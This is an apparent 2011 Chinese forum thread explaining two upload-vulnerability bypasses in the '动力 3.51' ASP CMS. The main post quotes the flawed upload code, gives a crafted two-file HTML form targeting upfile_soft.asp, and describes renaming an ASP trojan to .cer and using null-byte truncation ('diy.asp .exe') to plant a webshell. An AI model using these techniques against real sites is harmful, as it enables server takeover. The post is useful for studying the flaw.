null__吧 关注:220贴子:4,305
  • 16回复贴,共1

关于动力3.51上传漏洞的两种突破思路

只看楼主收藏回复

科普加水帖。
- -


1楼2011-07-20 11:00回复
    站在巨人肩膀上 BY 我爱Lier
    动力3.51的上传页面共有6个,作者思路都是差不多的。对于上传漏洞的利用方法,这里介绍2种。1种,我看了下各个上传处理文件,发现这种比较通用。第2种是明小子的上传方法,至于你说我怎么能知道这软件的利用方法的,下面再告诉你。
    先说下这6个文件通有的逻辑漏洞,就拿upfile_soft.asp来说。漏洞代码:
    1 首先上传文件都对上传用户进行了身份检验:
    if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then
    response.Write("请登录后再使用本功能!")
    else
    …………………….
    明小子给的方法是:提交包的时候将cookie的值改成你以管理员登陆时的cookie值。我手工改包,提交包的时候,却始终提交不成功。
    下面就萌生了想看看明小子提交的包的内容的想法了。
    首先明小子上传靠的是提交数据包这很明显吧。
    方法很简单。关闭iis,即关闭80端口。Nc在本地80端口监听。明小子上传,然后nc就收到了明小子提交的内容了。
    我的问题没解决,因为它也跟我交包的时候,改相同的cookie。但是新的问题出来了。明小子的思路跟我之前知道的是不一样的!
    2 下面就是漏洞代码的关键了:
    for each formName in upload.file '列出所有上传了的文件
    set ofile=upload.file(formName) '生成一个文件对象
    oFileSize=ofile.filesize
    文件大小代码检查部分
    fileExt=lcase(ofile.FileExt)
    arrUpFileType=split(UpFileType,"|")
    for i=0 to ubound(arrUpFileType)
    if fileEXT=trim(arrUpFileType(i)) then
    EnableUpload=true
    exit for
    end if
    next
    if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
    EnableUpload=false
    end if
    if EnableUpload=false then
    msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
    FoundErr=true
    end if
    strJS="<SCRIPT language=javascript>" & vbcrlf
    if FoundErr<>true then
    FileName=SavePath & ofile.FileName
    If IsObjInstalled("Scripting.FileSystemObject") Then
    dim fso
    set fso=CreateObject("Scripting.FileSystemObject")
    if fso.FileExists(Server.mappath(FileName)) then
    randomize
    ranNum=int(900*rnd)+100
    filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
    end if
    set fso=nothing
    end if
    ofile.SaveToFile Server.mappath(FileName) '保存文件
    response.write "软件上传成功!软件大小为:" & cstr(round(oFileSize/1024)) & "K"
    …………………………..
    Next
    这段代码采用了化境无组件上传类进行上传。for each formName in upload.file取得所有上传的文件名。第二个for循环for i=0 to ubound(arrUpFileType)用于检测文件类型,如果不满足条件则关键变量EnableUpload为默认值false,而 EnableUpload为默认值false时又导致关键变量FoundErr值得改变为true,我们的目的就是想办法避免FoundErr值的改变, 让他保持默认值false,我们注意到if fileEXT=trim(arrUpFileType(i)) then这一句如果满足条件则EnableUpload为真,那么当有多个文件用于上传时,作者考虑到了么?显然是没有的,虽然各上传界面的都是只有一个 上传提交框,但我们可以在本地自己构造。
    这样我们改变action到远程地址,提交两个文件的话,在asp文件中,第一个for循环检查第一个文件hack.exe,第2个for循 环检查文件后缀exe,显然满足条件因此可以上传EnableUpload=true,然后逐步跳过各语句,由于默认FoundErr=false,文件 上传了!然后第一个for循环检查文件2:hack.cer文件,第二个for循环发现不满足文件后缀条件,跳过,我的文件不是asp等后缀,再跳过if语句,呵呵,EnableUpload变量保持为第一次循环的true值,这样保证了FoundErr也没改变。至此木马上传成功。
    附:将asp木马改后缀为cer即可。因为iis中调用asp文件的是asp.dll,asp.dll的应用程序映射还包括.cdx和.cerok,所以我们的.cer后缀一样可以运行。
    利用思路呢?
    构造html文件代码为:
    <form action="http://localhost/mp/upfile_soft.asp"; method="post" enctype="multipart/form-data">
    <input name="file1" type="FILE" size="40">
    <input name="file2" type="FILE" size="40">
    <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
    </form>


    2楼2011-07-20 11:01
    回复

      这里我们第一个框选择exe文件,第2个框选择cer木马。木马即可上传成功。不过这个是不能突破第一重防线的。还是得提交数据包。
      


      3楼2011-07-20 11:02
      回复
        下面是明小子对这个漏洞的利用方法,其实还是00截断。



        4楼2011-07-20 11:02
        回复
          看到了吧c:\diy.asp .exe这个!
          它是怎么利用上面的漏洞的呢?程序取得我们木马的后缀是exe这样突破了第2个for 和对asp aspx asa的这两个防线。可是我们的木马并没有保存成exe!!为什么?FileName=SavePath & ofile.FileName这句,ofile对象取得的filename因为00截断,导致filename是diy.asp!!当目录中没有同名文件 时,它是这样保存的ofile.SaveToFile Server.mappath(FileName) 通过filename来进行保存。而这里的filename是uploadsoft/diy.asp,这样木马成功上传。而当目录中有同名文件时,木马 filename=SavePath&year(now)&month(now)&day(now)& hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 就会被加上exe后缀。
          其实这两种方法利用的突破口是不一样的。一个是利用变量enableupload是全局变量,第二个是利用变量ofile.filename取值时候会遇’/0’截断,以及后来程序的savetofile直接以filename为参数。=========================完


          9楼2011-07-20 11:13
          收起回复


            10楼2011-07-20 12:45
            回复
              话说万一哪天你们fen shou 了,看见2L第一句你会做何感想嗫~~


              IP属地:河南12楼2011-07-20 18:01
              收起回复
                ~.~
                我表示路过~
                


                IP属地:河南14楼2011-07-20 18:17
                回复
                  


                  15楼2011-07-20 19:26
                  回复
                    二次循环上传漏洞是不是只在动力


                    IP属地:云南16楼2015-07-20 14:35
                    回复
                      传漏洞是不是只


                      17楼2015-08-18 22:57
                      回复
                        哇哦


                        来自Android客户端18楼2015-08-21 00:09
                        回复
                          1


                          来自Android客户端19楼2016-05-23 23:34
                          回复